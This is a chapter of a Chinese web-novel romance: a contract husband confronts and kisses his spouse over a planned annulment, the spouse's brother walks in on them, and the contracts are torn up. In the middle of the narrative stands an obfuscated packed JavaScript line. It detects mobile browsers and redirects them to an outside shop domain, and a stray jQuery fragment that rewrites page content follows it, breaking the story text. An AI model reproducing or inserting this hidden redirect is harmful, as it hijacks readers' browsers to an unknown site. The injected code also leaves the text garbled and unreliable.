合约终止协议。
裴行路眸光沉沉,攥着合同纸的边缘,摁出重重的印子。
好啊,可真好。
裴行路尽力维持冷静,说:“跟我解除协议结婚,然后你就可以和你的青梅竹马名正言顺是吗?”
凌岁遥心口发涩,“不是,跟他……没什么关系。”
凌岁遥底气不太足。
说没什么关系也不准确,毕竟冲喜的真相是容文告诉他的。
然而这反应落在裴行路眼中,就是心虚。
裴行路气急笑了一声,压低了声音:“我从昨晚就在等你!等到现在,七八天没见面了,刚见面你就跟我说要解除合约是吧?那个容文有什么好,值得你跟他叙完旧情之后,就迫不及待甩开我?摆脱我?”
凌岁遥听得一愣一愣的,稀里糊涂说:“你不愿意吗?裴哥?”
愿意个鬼!
裴行路本想狠狠骂一句脏话的,但看凌岁遥可怜兮兮的模样,硬生生地给憋了回去,又走近几步,直直地盯着他:“你很希望我愿意?”
凌岁遥不知道该说什么。
他设想过很多种情况,却没想到裴行路是这个反应。
“说话,凌岁遥,说清楚。”裴行路催促着他,目光灼灼:“你偷偷亲完我,不仅不认账,隔了这么多天,还想一脚踹了我,跟你刚回国了的容文哥再续前缘是不是。世界上怎么会有你这么可恶的小贼?”
他一边说着,一边逼近凌岁遥。
凌岁遥只得往后退。裴行路的眼神太烫了,他不敢看,呼吸有些急促,“我……”
裴行路将他逼到角落处,“你什么?你没有偷亲我吗?凌少爷好气魄,这才过了多久,就不当一回事了?不许装傻,快点说话。”
头顶的气势极强,凌岁遥这辈子都没遇到过这种情况,莫名心跳加速,结巴着:“我没有……当、当一回事的。是我偷亲的,对不起裴哥,但是冲喜这个事你并非自愿……”
听到“但是”就烦,裴行路狠狠皱了眉,“够了,你就是在找借口。”
但是但是……只有一个解释,就是——“但是他的世家竹马好哥哥回来了”,一切就又都不作数了!
“叮咚——”
恰巧此时,门铃响起。
凌岁遥松了口气,仿佛救命稻草到了,“我去开门,应该是二……”
忽然手臂被紧紧扣住,他才走出去三步,就猛地被拽了回去。凌岁遥下意识闭上了眼,身子一抖,却没有预料中的疼痛。
他的后脑勺被宽厚的手掌护住。
凌岁遥睁开眼睛,对上了一双似乎有惊涛骇浪的黑眸。
凌岁遥感觉有些危险,下意识挣脱。
裴行路眼瞳微动,蕴着恼意和慌乱,更加用力拽着凌岁遥,从牙齿里迸出几个字:“他来这里找你?凌岁遥,你把这里的地址都告诉了他?是不是这边跟我解除合同,你就立马要跟他走了。”
凌岁遥被抓得手腕疼,“不是他。”
门铃又响了,这一回有些急促,外面的人似乎等急了。
裴行路瞥了一眼门口,又看向凌岁遥挣脱的动作,再想到他朋友圈的那些合照,笑得那么开心漂亮的凌岁遥……
和自己解除协议,去和别的男人在一起……光是想象,裴行路就觉得心脏密密麻麻被插了刀子,正疯狂无限坠沉。他咬了咬后槽牙,浓烈的情绪几乎将他淹没。
都快醋死了。他怎么开窍得这么晚,为了直不直男的纠结了那么久。要是早些把事情说开,哪至于那个容文逮到时机见缝插针。
两个人的距离很近,凌岁遥一些躲避的动作和眼神,像导火索,直接将裴行路点燃。
门铃还在响,传来微弱的呼唤声。
“岁岁——”
这个时候,凌岁遥的手机也响了。
凌岁遥正要从外套里掏出手机,突然间下一秒,汹涌而来的滚烫夺取了他的呼吸。
“唔……!”
凌岁遥滞住,浑身震颤。
裴行路抚着凌岁遥的脖颈,推着他将他抵在墙壁,另一只手摩挲那又软又热的面颊,发狠似的一下又一下碾磨或吮吸他的嘴唇。
心脏仿佛被撞击了一下。
凌岁遥不知道吃了什么点心,嘴唇上还沾着丝丝缕缕的甜味。
“嘶……疼……”凌岁遥拽着裴行路的衣角,被亲得快要快要哭出来了,断断续续地控诉。
“闭眼,抱着我。”裴行路低哑着声音,放慢了动作,却趁凌岁遥刚才那说话的功夫,撬开了他不甚防备的唇缝,试探性地伸进了舌头,轻轻舔过凌岁遥的齿间、上颚和舌头。
凌岁遥长长的睫毛颤抖得不停,在裴行路的脸上划着。
划得他……心痒难耐,亲得更狠了。
“唔!”
凌岁遥下意识听着裴行路的话,闭上眼睛,紧紧搂着他的腰。
那是一种意思足够明显、足够让人满足的依赖与亲近。
迷离中,他似乎听到裴行路沉沉笑了一声,喟叹似的满意语气:“宝宝真乖,抱得越紧越好。”
凌岁遥快要撑不住了,心跳太快太快了。幸好今天没戴手环,不然一定会……疯狂尖叫的。
手机铃声和门铃都停下了,于是唇舌交缠的水声格外明显,两个人完全沉溺在其中。
甚至都没听见门被打开的声音。
“岁岁……岁岁?!”
啪嚓一声,一串金属钥匙掉在大理石地面,发出刺耳尖锐的声音。
凌景不可置信地瞪大眼睛,气得气血上涌,毫无形象地吼叫:“你们在干嘛!裴行路!你快放开我弟弟!”
凌岁遥吓了一跳,又急又羞,满脸通红,推了推裴行路。但他几乎耗尽了所有力气,力道轻得像小兔子对着空气胡乱扒拉。
裴行路也堪堪回过神来,离开了凌岁遥的嘴唇,将人埋进自己的怀里,挡住他的视线。他倒是一脸餍足,不满地埋怨凌景:“你随便进别人家里干嘛?不懂礼貌。”
不然还能再亲亲的。
凌景听这话,完全不可思议,这个时候也没有了平时装出来的精英气场,破口怒骂:“我都敲了十分钟的门了,是你一直不开!我没办法才拿备用钥匙的!你少转移话题,我问你,你刚才对我弟弟做了什么事!”
裴行路啧了一声,“你不是都看见了吗?还问。”
满脸通红的凌岁遥拽着他的衣角晃了晃,呼吸越来越急促明显,甚至腿脚发软站不稳,整个人往下瘫软。
“岁岁?!”
裴行路察觉到不对劲,赶忙抱紧他。
凌景火气更大了,“你就非得亲那么久,岁岁都哮喘了!”
“我……”
好吧,这下裴行路怼不过了,讪讪地认了。
两个人一齐将凌岁遥扶到沙发上,裴行路从他口袋里拿出随身携带的气雾剂,牢牢握着凌岁遥的手,吸入药物。
过了好一会,凌岁遥终于平缓了呼吸,浓黑的睫毛上沾着晶莹的泪珠,一双眼睛雾蒙蒙的,面颊气色红润得有些过分。
裴行路替他擦掉眼泪,轻声哄着:“没事了啊,岁岁。”
凌岁遥缓缓呼着气。
“都怪你!”凌景越想越来气。
他养得那么漂亮可爱的弟弟,凌家所有人捧在掌心里的小少爷,居然就这么被!拱走了!还让他亲眼撞见了自家弟弟被亲得七荤八素的样子!
凌景完全坐不住,气得捋起袖子,拍案而起,抬手就抓着裴行路,忍住忍住,还是忍不住想动手的冲动。
“……你干什么?君子动口不动手。”裴行路冷笑一声,“你还真想动手?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13879313|146804||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“谁让你欺负岁岁!”凌景怒嚎,上前一扑,“岁岁纯洁得一次恋爱都没谈过,好啊你,现在初吻都被你抢了!还给人亲成这样,嘴唇都肿了,你这个畜生!”
“我也没谈过,刚才也是我初吻好吗。”裴行路往后躲闪,瞥了一眼面颊红透不敢抬头锁在一团的凌岁遥,心蓦然一软,“再说了,我在自己家里亲我自己老婆有什么问题,你管得着吗?”
凌景推搡他,“你说什么!你再说一遍!岁岁怎么就是你老婆了!”
裴行路避其锋芒,围着沙发转圈躲人,“民政局敲了钢印了,名副其实,怎么就不是了?”
毕竟让人家亲哥哥撞到这么尴尬的一幕,爆炸生气也能理解,裴行路懒得跟他一般见识。
“你你你……”凌景被他这一番话惊得都结巴了,“你不是说你是恐同的直男吗?当初信誓旦旦的,啊什么,你是直男,照顾岁岁可以,但绝对不会有什么亲密行为。”
裴行路不以为意地摊手耸肩,说:“那又怎么了?我就不能自己打自己脸了?”
这话说得理直气壮!
凌景气得撑着沙发跳过去抓他,裴行路果断翻身,躲在凌岁遥后面,装可怜道:“岁岁,你不能不管我啊。”
凌岁遥一个激灵,挡在裴行路面前,“二、二哥……”
说话时,牙齿和舌头都在打架。
凌景只得收手,咬牙切齿地瞪着裴行路。
以前怎么没发现,这人如此厚颜无耻!
裴行路从后抱着凌岁遥,低低一笑:“谢谢岁岁。”
“不、不客气!”
凌岁遥耳根红透。
*
饭菜都凉了。
裴行路挨个热了一遍,重新端了上来。
三个人坐在餐桌上,裴行路非要和凌岁遥坐在一起,凌景坐在对面,横挑鼻子竖挑眼的,怎么看怎么想摔锅砸碗。
裴行路吊儿郎当地坐着,翻了一遍解除合同协议书,又飞速上楼拿了自己的那份冲喜合同,以及初见时和凌岁遥签下的互不干扰协议。
“都作废。”
他将协议书碎掉。
凌岁遥抿了抿被亲得有些疼的嘴唇,垂着脑袋伸手点了点冲喜合同,小声问:“这份呢?”
裴行路想也不想,“也碎掉。”
凌景不满:“喂,那份是和凌家签的,你起码应该问一问凌家的意见吧?”
裴行路挑眉,没好气道:“你们找的那个大师说我和岁岁是天作之合。你回去问问他,哪有天作之合只有三年的?太短了,作废。”
说着,不管凌景怎么发癫,他置之不理,扭头看向凌岁遥,声音轻了下来,“这个也不算数了哦。”
“好……”
他指的是冲喜互不干扰协议。
禁止言语暧昧、肢体接触、过问隐私、介入生活等等条例。
发展到现在,这个协议基本上里里外外都被违反光了。
啧,撕掉撕掉,什么合同?不存在。
裴行路神清气爽,拿过筷子喂凌岁遥吃饭。
凌岁遥含着一只虾仁,细嚼慢咽。
“裴哥,我之前不知道你是被迫冲喜的,对不起,所以我才想解除这个合同的。我约了二哥过来,就是跟你道歉,并且解释清楚的。”他小心翼翼地开口,“你别误会,我和容文哥……”
裴行路严肃地打断:“不许叫他哥。”
凌岁遥一顿,“哦哦……我和容文没什么的,只是朋友,邻家哥哥。我不喜欢……就是,那种含义的‘喜欢’,我不喜欢他。”
裴行路很满意,“这还差不多。”
岁岁最喜欢他了。
他们之间都有好多的话要说,但是吧……
对面,凌景咬牙切齿地啃排骨,狠狠瞪着裴行路。